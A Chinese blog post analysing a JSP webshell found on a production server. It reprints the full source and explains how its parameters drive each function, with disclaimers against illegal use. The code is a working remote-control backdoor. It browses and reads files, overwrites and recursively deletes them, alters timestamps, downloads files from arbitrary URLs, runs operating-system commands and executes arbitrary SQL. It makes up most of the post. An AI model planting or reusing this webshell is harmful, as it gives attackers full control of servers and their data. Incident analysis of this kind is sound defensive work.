在生产环境中碰见的JSP木马-sunziren

  写在前面,本文仅做为技术交流的用途,请不要使用本文中的技术破坏他人的网站及系统,因为这是违法的!!!本人不负任何法律责任!!!  


   19年1月份,发现了一个JSP木马文件,当时觉得有点奇怪的是,这个文件没有在上传目录,而是在相当于windows系统桌面的位置,我怀疑应该是这个木马把自己转移了。

  这个木马是一个JSP文件,通过在访问该文件的时候传递参数,就能调用该文件中对应的方法,从而实现对系统的各种功能。

  先上源代码:

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    String Pwd="justtest123";
    String EC(String s,String c)throws Exception{
        return s;
    }
    //new String(s.getBytes("ISO-8859-1"),c);}
    Connection GC(String s)throws Exception{
        String[] x=s.trim().split("
");
        Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
        Connection c=DriverManager.getConnection("jdbc:oracle:thin:@192.168.0.107:1521:test");
        System.out.println("数据库连接获取完毕");
        if(x.length>2){
            c.setCatalog("jdbc:oracle:thin:@192.168.0.107:1521:test");
        }
        return c;
    }
    void AA(StringBuffer sb)throws Exception{
        File r[]=File.listRoots();
        for(int i=0;i<r.length;i++){
            sb.append(r[i].toString().substring(0,2));
        }
    }
    void BB(String s,StringBuffer sb)throws Exception{
        File oF=new File(s),l[]=oF.listFiles();
        String sT, sQ,sF="";
        java.util.Date dt;
        SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        for(int i=0;i<l.length;i++){
            dt=new java.util.Date(l[i].lastModified());
            sT=fm.format(dt);
            sQ=l[i].canRead()?"R":"";
            sQ+=l[i].canWrite()?" W":"";
            if(l[i].isDirectory()){
                sb.append(l[i].getName()+"/	"+sT+"	"+l[i].length()+"	"+sQ+"
");
            }else{
                sF+=l[i].getName()+"	"+sT+"	"+l[i].length()+"	"+sQ+"
";
            }
        }
        sb.append(sF);
    }
    void EE(String s)throws Exception{
        File f=new File(s);
        if(f.isDirectory()){
            File x[]=f.listFiles();
            for(int k=0;k<x.length;k++){
                if(!x[k].delete()){
                    EE(x[k].getPath());
                }
            }
        }
        f.delete();
    }
    void FF(String s,HttpServletResponse r)throws Exception{
        int n;
        byte[] b=new byte[512];
        r.reset();
        ServletOutputStream os=r.getOutputStream();
        BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
        os.write(("->"+"|").getBytes(),0,3);
        while((n=is.read(b,0,512))!=-1){
            os.write(b,0,n);
        }
        os.write(("|"+"<-").getBytes(),0,3);
        os.close();
        is.close();
    }
    void GG(String s, String d)throws Exception{
        String h="0123456789ABCDEF";
        int n;
        File f=new File(s);
        f.createNewFile();
        FileOutputStream os=new FileOutputStream(f);
        for(int i=0;i<d.length();i+=2){
            os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));
        }
        os.close();
    }
    void HH(String s,String d)throws Exception{
        File sf=new File(s),df=new File(d);
        if(sf.isDirectory()){
            if(!df.exists()){
                df.mkdir();
            }
            File z[]=sf.listFiles();
            for(int j=0;j<z.length;j++){
                HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());
            }
        }else{
            FileInputStream is=new FileInputStream(sf);
            FileOutputStream os=new FileOutputStream(df);
            int n;
            byte[] b=new byte[512];
            while((n=is.read(b,0,512))!=-1){
                os.write(b,0,n);
            }
            is.close();
            os.close();
        }
    }
    void II(String s,String d)throws Exception{
        File sf=new File(s),df=new File(d);
        sf.renameTo(df);
    }
    void JJ(String s)throws Exception{
        File f=new File(s);
        f.mkdir();
    }
    void KK(String s,String t)throws Exception{
        File f=new File(s);
        SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        java.util.Date dt=fm.parse(t);
        f.setLastModified(dt.getTime());
    }
    void LL(String s, String d)throws Exception{
        URL u=new URL(s);
        int n;FileOutputStream os=new FileOutputStream(d);
        HttpURLConnection h=(HttpURLConnection)u.openConnection();
        InputStream is=h.getInputStream();
        byte[] b=new byte[512];
        while((n=is.read(b,0,512))!=-1){
            os.write(b,0,n);
        }
        os.close();
        is.close();
        h.disconnect();
    }
    void MM(InputStream is, StringBuffer sb)throws Exception{
        String l;
        BufferedReader br=new BufferedReader(new InputStreamReader(is));
        while((l=br.readLine())!=null){
            sb.append(l+"
");
        }
    }
    void NN(String s,StringBuffer sb)throws Exception{
        System.out.println("进入了NN方法");
        Connection c=GC(s);
        System.out.println("GC方法执行完毕");
        ResultSet r=c.getMetaData().getCatalogs();
        while(r.next()){
            System.out.println(r.getString(1));
            sb.append(r.getString(1)+"	");
        }
        r.close();
        c.close();
    }
    void OO(String s,StringBuffer sb)throws Exception{
        Connection c=GC(s);
        String[] t={"TABLE"};
        ResultSet r=c.getMetaData().getTables (null,null,"%",t);
        while(r.next()){
            sb.append(r.getString("TABLE_NAME")+"	");
        }
        r.close();
        c.close();
    }
    void PP(String s,StringBuffer sb)throws Exception{
        String[] x=s.trim().split("
");
        Connection c=GC(s);
        Statement m=c.createStatement(1005,1007);
        ResultSet r=m.executeQuery("select * from "+x[3]);
        ResultSetMetaData d=r.getMetaData();
        for(int i=1;i<=d.getColumnCount();i++){
            sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")	");
        }
        r.close();
        m.close();
        c.close();
    }
    void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{
        int i;
        Connection c=GC(s);
        Statement m=c.createStatement(1005,1008);
        try{
            ResultSet r=m.executeQuery(q);
            ResultSetMetaData d=r.getMetaData();
            int n=d.getColumnCount();
            for(i=1;i<=n;i++){
                sb.append(d.getColumnName(i)+"	|	");
            }
            sb.append("
");
            while(r.next()){
                for(i=1;i<=n;i++){
                    sb.append(EC(r.getString(i),cs)+"	|	");
                }
                sb.append("
");
            }
            r.close();
        }catch(Exception e){
            sb.append("Result	|	
");
            try{
                m.executeUpdate(q);
                sb.append("Execute Successfully!	|	
");
            }catch(Exception ee){
                sb.append(ee.toString()+"	|	
");
            }
        }
        m.close();
        c.close();
    }
%>
<%
    String cs=request.getParameter("z0")+"";
    request.setCharacterEncoding(cs);
    response.setContentType("text/html;charset="+cs);
    String Z=EC(request.getParameter("z")+"",cs);
    String z1=EC(request.getParameter("z1")+"",cs);
    String z2=EC(request.getParameter("z2")+"",cs);
    StringBuffer sb=new StringBuffer("");
    System.out.println(Z);
    try{
        sb.append("->"+"|");
        if(Z.equals("A")){
            String s=new File(application.getRealPath(request.getRequestURI())).getParent();
            sb.append(s+"	");
            if(!s.substring(0,1).equals("/")){
                AA(sb);
            }
        }else if(Z.equals("B")){
            BB(z1,sb);
        }else if(Z.equals("C")){
            String l="";
            BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
            while((l=br.readLine())!=null){
                sb.append(l+"
");
            }
            br.close();
        }else if(Z.equals("D")){
            BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
            bw.write(z2);
            bw.close();
            sb.append("1");
        }else if(Z.equals("E")){
            EE(z1);
            sb.append("1");
        }else if(Z.equals("F")){
            FF(z1,response);
        }else if(Z.equals("G")){
            GG(z1,z2);
            sb.append("1");
        }else if(Z.equals("H")){
            System.out.println("进入了H");
            HH(z1,z2);
            sb.append("1");
        }else if(Z.equals("I")){
            II(z1,z2);
            sb.append("1");
        }else if(Z.equals("J")){
            JJ(z1);
            sb.append("1");
        }else if(Z.equals("K")){
            KK(z1,z2);
            sb.append("1");
        }else if(Z.equals("L")){
            LL(z1,z2);
            sb.append("1");
        }else if(Z.equals("M")){
            String[] c={z1.substring(2),z1.substring(0,2),z2};
            Process p=Runtime.getRuntime().exec(c);
            MM(p.getInputStream(),sb);
            MM(p.getErrorStream(),sb);
        }else if(Z.equals("N")){
            NN(z1,sb);
        }else if(Z.equals("O")){
            OO(z1,sb);
        }else if(Z.equals("P")){
            PP(z1,sb);
        }else if(Z.equals("Q")){
            QQ(cs,z1,z2,sb);
        }
    }catch(Exception e){
        sb.append("ERROR"+":// "+e.toString());
    }
    sb.append("|"+"<-");
    out.print(sb.toString());
%>

  简单的浏览该源代码发现该木马文件分为两部分,上边的方法区和下边的参数识别区。参数总共有四个,分别是:z0,z,z1,z2。z0传递的是字符集编码格式,一般传递的是“utf-8”。z传递的是你想要调用的方法的名字,例如,根据上面代码中的规则,z传递‘A’就表示你想要调用‘AA’方法。参数z1和z2是不同的方法所需的不同的含义的参数,也就是说,调用不同的方法,需要传递的z1和z2参数是不同的。有的方法也可能不需要传递z1和z2参数。

  参数中的内容需要用urlencode转码。

  我测试了一下,方法ABCDEFG的功能大概如下:(注意请不要将文中技术用于非法途径,本人不负任何法律责任)

A: 获取当前木马的绝对路径和系统所有卷标。

B: 根据z1所指示的路径返回所有文件夹名和文件名,并标注了每个记录的最后修改时间和该记录是否可读写。路径为windows绝对路径,参数要使用urlencode编码。

C: 获取指定文件的内容。z1需要精确到文件名。

D: 将z2参数中的内容覆盖性的写入z1所指定的文件中。如果写入成功页面会显示->|1|<-。

E: 删除z1参数指定的文件或目录,如果是文件直接删除,如果是文件夹,递归删除该文件夹中的文件和子文件夹。如果删除成功页面会显示->|1|<-。

F: 返回指定文件的所有内容,包括第一行

G: 没搞明白这个参数对应的方法是干什么的


  本文为作者sunziren原创文章,转载请提前告知,获得许可后方可转载。转载请注明出处。

  再次声明,本文仅作为技术交流研究用途,禁止进行任何非法用途的使用。

原文地址:https://www.cnblogs.com/sunziren/p/10332986.html